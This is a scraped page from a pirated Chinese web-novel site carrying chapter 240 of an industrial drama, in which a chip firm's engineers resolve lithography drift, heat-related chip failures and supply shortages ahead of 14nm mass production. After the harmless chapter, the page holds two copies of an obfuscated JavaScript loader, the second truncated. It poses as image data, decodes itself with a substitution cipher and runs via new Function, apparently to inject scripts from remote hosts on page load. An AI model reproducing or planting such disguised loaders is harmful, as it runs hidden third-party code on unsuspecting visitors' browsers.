首页
第240章 14nm全面量产
返回
关灯 护眼:关 字号:小

第240章 14nm全面量产倒计时

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    赵建国盯着监控屏幕上跳动的数据,眼皮沉重得像灌了铅。他已经连续四十八小时没离开厂房,胡茬在下巴上冒出青灰色,深蓝色工装的领口被汗水浸出一道深色痕迹。
    屏幕上显示的是2号光刻机的实时数据。这台从荷兰进口的深紫外光刻机是产线的核心设备,价值一点二亿美元,占据了整条生产线成本的近四分之一。过去七十二小时,它一直处于异常状态,晶圆的对准精度在持续缓慢漂移,最严重时偏移达到了15纳米,超过了工艺允许的8纳米上限。
    「还是找不出原因吗?」陈醒走进控制室,手里端着两杯咖啡,将其中一杯递给赵建国。
    赵建国接过咖啡猛灌一口,苦涩的液体让他精神稍微一振:「设备厂商的远程支持团队排查了四个小时,说是环境振动超标。但我们测了厂房的地基振动,数据完全在允许范围内。」
    他调出振动监测记录:「您看,过去一周,厂房最大振动幅度只有0.8微米,远低于设备要求的2微米上限。而且其他三台光刻机都运行正常,只有这台2号机出问题。」
    陈醒仔细查看数据。确实如赵建国所说,振动监测曲线平稳得近乎一条直线。厂房在设计时就考虑了防振要求,地基采用了三层减震结构,能够隔绝外部交通和施工带来的微幅振动。
    「会不会是设备本身的问题?」陈醒问。
    「设备厂商不承认。」赵建国苦笑,「他们说如果设备有问题,不可能只有对准精度漂移这一个症状,其他参数都应该异常。但我们的数据是,这台机器的曝光能量稳定性丶聚焦精度丶扫描同步性都完全正常,只有对准在缓慢漂移。」
    陈醒沉思片刻:「让孙明过来一趟。」
    十分钟后,孙明小跑着进了控制室,手里还拿着一个平板电脑,屏幕上显示着复杂的电路图。
    「陈总,您找我?我正和时钟团队调试量产测试程序……」
    「先放一放。」陈醒打断他,「2号光刻机的对准漂移问题,我想听听你的看法。」
    孙明愣了一下,显然没想到会问他这个问题。他是电路设计专家,不是设备工程师。但他还是走到监控屏前,仔细查看数据曲线。
    看了一分多钟,孙明突然问:「对准系统的控制环路参数能调出来吗?」
    赵建国操作了几下,调出另一个界面。屏幕上显示着对准伺服系统的控制参数:比例增益丶积分时间丶微分系数……
    孙明盯着这些参数看了许久,手指在平板上快速计算着什麽。三分钟后,他抬起头:「这些参数是设备出厂时的默认设置?」
    「对,从来没改过。」赵建国回答,「设备厂商严禁用户调整控制参数。」
    「但你们的环境和其他用户不一样。」孙明说,「你们的厂房防振做得太好,系统的本底噪声水平可能比标准环境低一个数量级。在噪声极低的情况下,默认的控制参数可能会引发超调振荡,虽然幅度很小,但会表现为缓慢的漂移。」
    他调出自己刚刚的计算结果:「我粗略算了一下,如果环境振动噪声低于某个阈值,控制环路的积分项会积累微小误差,导致输出缓慢偏移。这个偏移周期很长,可能是几个小时甚至一天才完成一个循环,所以看起来像是随机漂移,其实有规律。」
    赵建国眼睛亮了:「也就是说,不是设备坏了,是设备『太灵敏』了?」
    「可以这麽理解。」孙明点头,「解决方法很简单:微调积分时间常数,或者增加一点点虚拟噪声。但问题是,设备厂商会允许我们改参数吗?」
    陈醒看向赵建国:「联系设备厂商的技术总监,直接说明我们的分析和建议。如果他们不同意,我们就自己改。」
    「自己改?万一改坏了……」
    「我相信孙明的判断。」陈醒说,「而且我们没时间了。倒计时29天,如果这台机器再停两天,量产计划就要推迟。」
    赵建国咬了咬牙:「好,我马上联系。」
    倒计时第25天,测试实验室。
    李维站在一排测试机台前,脸色铁青。他手里拿着一份刚列印出来的测试报告,上面的数字触目惊心:最新一批封装的晶片,有7%在高温老化测试中出现功能失效。
    「失效模式一致吗?」他问测试主管。
    「基本一致。」测试主管调出失效分析报告,「都是内存控制器在125度高温下工作四十八小时后,出现间歇性读写错误。常温下测试完全正常,温度降下来后错误消失。」
    「封装应力问题?」李维猜测。
    「我们做了X射线和声学扫描,没发现封装内部有裂纹或分层。」测试主管摇头,「而且同一批晶圆丶同一批封装的其他晶片都通过了测试,只有这7%失效。失效晶片在晶圆上的分布也没有规律,不是集中在边缘或特定区域。」
    李维感到一阵头疼。这种随机丶与温度相关的间歇性故障是最难排查的。可能是设计缺陷,可能是工艺波动,可能是材料问题,也可能只是测试误差。
    「把失效晶片送去切片分析。」他下令,「我要看到电晶体级的失效部位。」
    「切片分析至少要三天时间,而且会破坏晶片。」
    「那就多切几颗!」李维提高了声音,「现在不是心疼样品的时候。如果这是系统性缺陷,而我们没发现,量产后会有成千上万的晶片出问题,那时候损失更大!」
    测试主管连忙点头:「明白,我马上安排。」
    李维走到窗边,看着外面渐渐暗下来的天色。倒计时牌上的数字像达摩克利斯之剑悬在头顶,每跳动一秒,压力就增加一分。他知道,量产前的最后阶段,各种隐藏的问题都会暴露出来。但7%的高温失效率,如果无法解决,意味着天权5号根本不能用于任何对可靠性有要求的场景。
    手机震动,是陈醒发来的消息:「高温失效问题有进展吗?」
    李维回覆:「正在做切片分析,需要三天。」
    「太长了。有没有快速排查的方法?」
    李维想了想:「可以尝试用热成像和电光探针做非破坏性分析,但需要设备厂商的支持,而且只能定位大概区域。」
    「联系设备厂商,我来协调。另外,让设计团队重新审查内存控制器的时序馀量,特别是高温下的退化模型。」
    「已经在做了。」
    放下手机,李维深吸一口气。他知道陈醒的压力不比他小。量产倒计时不只是技术挑战,更是对整个公司的考验。如果失败,不仅三年的努力付诸东流,整个团队也可能分崩离析。
    倒计时第18天,供应链管理中心。
    林薇面前摊着七份加急报告,每一份都标着红色的「紧急」字样。日本一家关键化学品供应商因工厂火灾停产,预计恢复需要两个月。德国一家精密部件制造商通知,由于原材料短缺,交货期延长四周。美国一家测试设备厂商的售后工程师因签证问题无法入境,设备安装调试被迫暂停。
    她揉了揉太阳穴,看向坐在对面的供应链总监:「最坏情况是什麽?」
    「如果这些问题同时发生,量产计划至少要推迟六十天。」供应链总监面色凝重,「但我们可以想办法缓解。日本那家化学品,我们在三个月前就找了国内替代供应商,虽然性能略差,但经过工艺调整后可以使用。德国部件,我们可以通过分销商从现货市场高价采购一批,虽然成本增加30%,但能保证供应。美国设备工程师,我们正在协调让他在新加坡远程指导,我们的技术员现场操作。」
    「所有这些方案,会增加多少成本?」林薇问。
    「初步估算,额外成本大约八百万。」
    「批准。」林薇毫不犹豫,「钱可以再赚,时间错过就没了。立即执行所有替代方案,同时保持与原供应商的沟通,争取最快的恢复时间。」
    供应链总监离开后,林薇打开内部通讯系统,连接到三期厂房的控制室。
    屏幕上出现陈醒的身影,他正和赵建国站在一台设备前讨论着什麽,背景是忙碌的生产线。
    「陈总,供应链这边有几个问题需要汇报。」林薇简明扼要地说明了情况。
    陈醒听完,沉默了几秒钟:「你的处理方案我同意。但我要提醒一点:国内替代化学品的使用,必须经过充分的验证测试,不能为了赶时间降低质量标准。」
    「已经在安排了。」林薇点头,「另外,还有个好消息。我们联系上了韩国一家二线设备厂商,他们有一款新型快速测试机,性能参数比我们现有的设备还好,而且价格低15%。对方表示,如果我们批量采购,可以在三十天内交货安装。」
    「可靠性呢?」
    「我们买了三台样机,已经连续测试了两周,故障率为零。测试速度和精度都达到标称值。」林薇调出测试报告,「我认为可以部分替代现有测试设备,既能降低成本,又能提高产能。」
    陈醒仔细查看报告数据:「采购多少台?」
    「初步计划二十台,可以覆盖30%的测试需求。」
    「批准。但要求厂商提供更长的保修期和本地技术支持团队。」
    「明白。」
    结束通话,林薇感到一阵疲惫袭来。过去十八天,她每天工作超过十六个小时,协调解决了几十个类似的问题。睡眠不足,压力巨大,但她不敢松懈。因为她知道,她是整个量产计划的粘合剂,任何环节的断裂都可能引发连锁反应。
    助理敲门进来,端着一盘食物:「林总,您已经十个小时没吃东西了。」
    林薇这才意识到已经是晚上八点。她道了声谢,接过餐盘,却没什麽食欲。只是机械地把食物塞进嘴里,眼睛还盯着电脑屏幕上不断更新的问题清单。
    倒计时第12天,凌晨两点。
    陈醒站在三期厂房的观察窗前,看着里面灯火通明的生产线。设备在自动运转,机械臂精准地搬运晶圆,技术员在监控台前记录数据。一切看起来井然有序。
    赵建国走过来,脸上带着难得的笑容:「2号光刻机的问题解决了。按孙明建议调整参数后,对准精度稳定在3纳米以内,连续运行七天无漂移。」
    「高温失效问题呢?」陈醒问。
    「李维那边找到了原因。」赵建国调出报告,「是金属互连层在高温下的电迁移导致局部电阻变化,触发了内存控制器的保护机制。不是设计缺陷,是工艺窗口太窄。我们调整了金属沉积的工艺参数,新做的晶片高温失效率降到了0.3%,在允许范围内。」
    陈醒点点头:「供应链那边,林薇已经解决了大部分问题。测试设备采购合同今天签了,二十台新设备下个月到位。」
    两人并肩站在窗前,沉默地看着生产线运转。这几个月来,他们第一次感到量产计划真正走上了正轨。
    「陈总,您说我们能成功吗?」赵建国突然问。
    陈醒没有立即回答。他想起三年前公司刚成立时,只有十几个人,租着郊区的一层办公楼,连像样的实验室都没有。那时候很多人说他疯了,说华夏做不出高端晶片,说这是浪费时间和金钱。
    「老赵,你觉得我们这三年,最大的成就是什麽?」陈醒反问。
    赵建国想了想:「技术突破?能效比进第二梯队?」
    「不。」陈醒摇头,「最大的成就是,我们证明了华夏人也能做高端晶片。证明了我们有一支不输给任何国际团队的工程师队伍。证明了只要给机会,给资源,给时间,我们能做到。」
    他指向生产线:「量产,只是这个证明的延续。成功了,我们继续向前走。失败了,我们也为后来者积累了经验。但无论如何,这条路,我们会一直走下去。」
    倒计时第5天,上午九点。
    全体管理层会议。各部门汇报最终准备情况:
    「工艺团队完成所有参数锁定,量产良率预估87.2%。」
    「设计团队完成所有文档归档,量产测试程序全部就绪。」
    「测试实验室完成设备校准,首批测试计划已制定。」
    「供应链保障到位,关键物料库存满足三个月生产需求。」
    「质量体系通过内审,符合ISO9001和IATF16949要求。」
    「客户送样计划已制定,首批五个客户样品将在量产启动后一周发出。」
    陈醒听完所有汇报,在笔记本上记下最后几个要点。然后他抬起头,看向在座的每一个人。
    「过去三年,感谢各位的付出。」他的声音有些沙哑,「三天后,天权5号将正式进入量产阶段。这不仅是公司的里程碑,也是华夏半导体产业的一个重要时刻。」
    他停顿了一下:「但我必须提醒大家,量产成功不是终点,而是新的起点。市场接受度丶客户反馈丶竞争对手的反应,这些都是未知数。而且,就在昨天,国际通信标准组织正式发布了5G增强标准的最终版本。」
    陈醒调出一组市场分析数据:「随着5G标准全面落地,全球通信设备市场将进入一个平台期。传统的5G基站建设高峰期已过,新一代通信技术还在酝酿中。这个『寂静期』,对所有晶片企业都是考验。」
    会议室里的人们表情严肃起来。他们太专注于量产,几乎忘了外部市场环境的变化。
    「所以,在全力冲刺量产的同时,我们也要开始思考下一步。」陈醒说,「天权5号之后是什麽?5G之后是什麽?人工智慧丶物联网丶自动驾驶,这些新兴领域需要什麽样的晶片?」
    他合上笔记本:「这些问题,我希望大家在未来一个月里,开始思考。量产成功之后,我们要立即启动下一代产品的规划。」
    会议结束,人们陆续离开。陈醒最后一个走出会议室,在走廊里遇到了林薇。
    「陈总,您刚才说的『寂静期』,是不是意味着市场增速会放缓?」林薇问。
    「必然的。」陈醒点头,「任何技术都有生命周期。5G的大规模建设已经基本完成,下一波增长要等6G或者新的应用爆发。这个空窗期,可能会持续两到三年。」
    「那我们的天权5号……」
    「正好赶上这个时期。」陈醒苦笑,「所以量产成功只是第一步,让市场接受丶让客户买单才是真正的挑战。不过也好,这给了我们喘息的时间,可以更从容地规划下一代产品。」
    两人走到办公楼门口。外面阳光正好,三期厂房在阳光下熠熠生辉。
    倒计时牌立在广场中央,红色的数字格外醒目:3天07小时42分18秒。
    时间还在跳动,越来越接近那个关键的时刻。
    陈醒看着那个数字,心中没有想像中的激动,反而异常平静。因为对他来说,量产从来不是终点,而是一个必须通过的节点。通过了,才能继续向前走。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 